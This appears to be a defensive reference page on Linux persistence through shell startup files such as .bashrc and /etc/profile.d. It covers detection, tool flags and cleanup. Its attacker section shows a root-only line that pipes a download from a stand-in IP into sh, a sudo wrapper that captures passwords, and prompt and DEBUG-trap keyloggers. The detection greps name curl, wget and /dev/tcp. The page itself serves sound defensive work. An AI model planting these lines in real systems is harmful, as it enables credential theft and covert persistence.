Skip to content

Each new shell

Shell Startup Files: Linux Persistence via .bashrc

How .bashrc, .profile, /etc/profile.d and zsh files run code at every login or shell, how attackers plant aliases and payloads in them, and how to check.

MITRE ATT&CK
T1546.004
Tactics
Persistence, Privilege escalation, Credential access
Runs
Each new shell
Set up by
Users and root
Locations
  • /etc/profile
  • /etc/profile.d/*.sh
  • /etc/bash.bashrc
  • /etc/bashrc
  • ~/.bashrc
  • ~/.profile
  • ~/.bash_profile
  • ~/.zshrc

How it works

Every shell reads a few files before it shows a prompt. They are plain shell code, run as the user who starts the shell, in that user's environment and usually from their home folder. Whatever is in them runs again at every login, every new terminal and often every ssh host command.

bash depends on how it was started:

  • A login shell (console, SSH session, su -, sudo -i) reads /etc/profile, then only the first of ~/.bash_profile, ~/.bash_login and ~/.profile that exists. ~/.bash_logout runs when it exits.
  • An interactive non-login shell (a terminal window, plain bash) reads ~/.bashrc. Debian and Ubuntu build bash to read /etc/bash.bashrc first; RHEL and Fedora do not, and their stock ~/.bashrc sources /etc/bashrc instead.
  • A non-interactive shell (a script) reads the file named in $BASH_ENV, if set. Debian builds bash to read ~/.bashrc when started by sshd for a remote command; the stock file returns early for non-interactive shells, so only lines placed above that check run.

The stock files chain together: Debian's /etc/profile sources /etc/bash.bashrc and every /etc/profile.d/*.sh; RHEL's /etc/bashrc also sources /etc/profile.d/*.sh for non-login shells; both distributions' ~/.profile or ~/.bash_profile source ~/.bashrc. In practice ~/.bashrc and /etc/profile.d run in almost every interactive session.

zsh reads zshenv, zprofile (login), zshrc (interactive), zlogin (login) and zlogout, system copy first, then the user's (in $ZDOTDIR if set). Debian keeps the system copies in /etc/zsh/, RHEL, Fedora and Arch in /etc/. /etc/zshenv and ~/.zshenv run for every zsh, scripts included. fish reads config.fish and conf.d/*.fish; csh/tcsh read /etc/csh.cshrc, /etc/csh.login, ~/.cshrc and ~/.tcshrc. pam_env sets variables (not commands) from /etc/environment, /etc/security/pam_env.conf and, when configured with user_readenv=1, ~/.pam_environment.

New accounts get copies of /etc/skel (useradd -m, adduser), so a user's dotfile that still equals its skel copy is the distribution default.

Where it lives

PathWhatWho can write it
/etc/profileLogin shells (sh, bash, ksh)root
/etc/profile.d/*.shSourced by /etc/profile; on RHEL also by /etc/bashrcroot, packages
/etc/bash.bashrcInteractive bash, Debian and Ubunturoot
/etc/bashrcSourced by ~/.bashrc, RHEL and Fedoraroot
/etc/zsh/*, /etc/zshenv, /etc/zshrc, /etc/zprofile, /etc/zloginzsh, system-wideroot
/etc/environment, /etc/security/pam_env.confVariables set at login by pam_envroot
/etc/csh.cshrc, /etc/csh.login, /etc/fish/csh/tcsh and fishroot
/usr/share/fish/vendor_conf.d/fish snippets shipped by packagespackages
/etc/skel/Template copied into new home foldersroot
~/.bash_profile, ~/.bash_login, ~/.profileLogin shellsthe user, root
~/.bashrc, ~/.bash_logoutInteractive bash, logoutthe user, root
~/.zshenv, ~/.zprofile, ~/.zshrc, ~/.zlogin, ~/.zlogoutzshthe user, root
~/.config/fish/config.fish, ~/.config/fish/conf.d/fishthe user, root
~/.pam_environmentVariables, when user_readenv=1the user, root

How attackers use it

No root needed for one account; root for everyone. A system-wide file runs as every user who logs in, root included, which is why /etc/profile.d is a popular drop.

Starting a payload at every login

# appended to ~/.bashrc
pgrep -f kdevd >/dev/null || (nohup /home/alice/.cache/.kd/kdevd >/dev/null 2>&1 &)
# /etc/profile.d/01-locale-fix.sh
[ "$(id -u)" -eq 0 ] && (curl -fsSL http://203.0.113.7/u.sh | sh >/dev/null 2>&1 &)

Capturing passwords with an alias or a function

A wrapper named sudo, su or ssh asks for the password, saves it and calls the real program, so the user notices nothing:

sudo() {
  read -rsp "[sudo] password for $USER: " p; echo
  printf '%s\n' "$p" >> /var/tmp/.font-cache-1
  printf '%s\n' "$p" | command sudo -S -p '' "$@"
}
alias ssh='/home/alice/.local/bin/ssh-wrap'

Hiding from the user

Functions or aliases over ps, ls, netstat or ss filter the attacker's process, files or connections out of the output:

ps() { command ps "$@" | grep -v kdevd; }

Running code at every prompt or command

PROMPT_COMMAND runs before each prompt and a DEBUG trap before each command: keyloggers and beacons.

export PROMPT_COMMAND='history 1 >> /dev/shm/.k'
trap 'echo "$BASH_COMMAND" >> /dev/shm/.k' DEBUG

Changing the environment

An export LD_PRELOAD=… line injects a library into everything the user runs (see LD_PRELOAD), and unset HISTFILE keeps the session out of the history file (see history tampering).

How to check a host

On a live host

Do not investigate from a shell that has read the suspect files. Start one that skips them: sudo env -i bash --noprofile --norc. sudo -i and su - run root's startup files.

getent passwd | awk -F: '$7 !~ /(nologin|false)$/ {print $1, $6, $7}'   # who has a shell, and where home is
ls -la --time-style=full-iso /etc/profile.d/ /root/.bash* /root/.profile /home/*/.bash* /home/*/.profile /home/*/.zsh* 2>/dev/null
grep -nE '^\s*(alias|function)\s|^\s*[a-z]+\s*\(\)|PROMPT_COMMAND|trap .*DEBUG|LD_PRELOAD|HISTFILE|curl|wget|base64|/dev/tcp' \
  /etc/profile /etc/profile.d/* /etc/bash.bashrc /etc/bashrc /etc/environment /etc/zsh/* \
  /root/.bashrc /root/.profile /home/*/.bashrc /home/*/.bash_profile /home/*/.profile /home/*/.zsh* 2>/dev/null
diff /etc/skel/.bashrc /home/alice/.bashrc    # per user: what was added to the default
lsattr /home/*/.bashrc /etc/profile.d/*       # an 'i' blocks edits

Package checks for the system files: dpkg -S /etc/profile.d/* names each file's package (one without an owner was added by hand or a script), dpkg -V bash reports a changed /etc/bash.bashrc with a 5 and a c (conffile), and debsums -ce lists every changed conffile. On RHEL and Fedora, rpm -Vf /etc/profile /etc/bashrc checks the setup package and rpm -qf /etc/profile.d/* the snippets.

Also check /etc/skel itself against its package: a planted skel file spreads to every account created afterwards.

Offline, from a collection

Read every startup file in the archive, diff each dotfile against /etc/skel, and compare modification times with the account's logins and the other planted files. The collection command takes /etc, .*rc, .*profile and .bash_logout from /root and /home/*; add ~/.bash_login, ~/.zshenv, ~/.zlogin and ~/.config/fish/ by hand where those shells are used. Linux Persistence does the reading and the skel comparison offline.

What Linux Persistence flags

Each startup file is one entry (trigger login for profile-type files, shell for the rest), with up to 12 matching lines and their numbers.

  • Alias replaces command: an alias named sudo, su, ssh, scp, sftp, passwd, chpasswd, kinit, mysql, psql or gpg (high), or ls, ps, netstat, ss, lsof, top, htop, who, w, last, lastlog, kill, pkill, crontab, systemctl, find or grep (medium). An alias that only adds options to the same program, with no pipe, ;, &, $, backtick or redirection (alias ls='ls --color=auto'), is ignored.
  • Function replaces command: a function named after one of those commands (sudo() {, function sudo {), same severities.
  • Runs code at every prompt: a line setting or appending to PROMPT_COMMAND, or a zsh precmd hook (precmd(), precmd_functions+=, add-zsh-hook precmd).
  • DEBUG trap: a trap … DEBUG line.
  • The shared command heuristics on every line: Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code, Sets LD_PRELOAD, Turns shell history off, Makes a file immutable, Detaches from the session, Runs from a temporary folder, Runs from a hidden folder, Embedded encoded blob.
  • Differs from /etc/skel (info): a user's .bashrc, .profile, .bash_logout or .zshrc no longer matches the skel copy in the collection. When it matches, its heuristic flags are demoted to info.
  • Not installed by any package (low): a file in /etc/profile.d that dpkg does not own. Differs from package package (low): a packaged file whose checksum changed. Flags on unchanged packaged files are shown at info.
  • Changed date (low): changed in the 7 days before the newest file of the collection.

Limits: files are read, not the live environment. Files pulled in with source or ., or redirected through $ZDOTDIR or $BASH_ENV, are not followed. Wrappers named after other commands are not flagged, nor functions declared without (). /etc/skel is used as the reference, not checked itself: if it was altered, matching copies are shown as info. Home folders get no package verdict.

Cleaning up

  1. Preserve first: cp -a the file to your evidence store, sha256sum it, keep stat output. Copy any binary or script it starts, and note running processes it launched.
  2. Remove the planted lines, or restore the file: from /etc/skel for a user's dotfile, from the package for a system file. A reinstall keeps a modified Debian conffile: delete it, then apt-get install --reinstall -o Dpkg::Options::=--force-confmiss <package>. Kill the processes it started.
  3. End live sessions of the affected accounts: running shells keep the alias, function or trap until they exit.
  4. Check the other places: every account's files (including root and service accounts), /etc/profile.d, /etc/environment, /etc/skel, and the other login hooks: XDG autostart and MOTD scripts.
  5. Rotate every password typed into sudo, su, ssh or a database client while a wrapper was in place, and any key passphrase entered in those sessions.

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: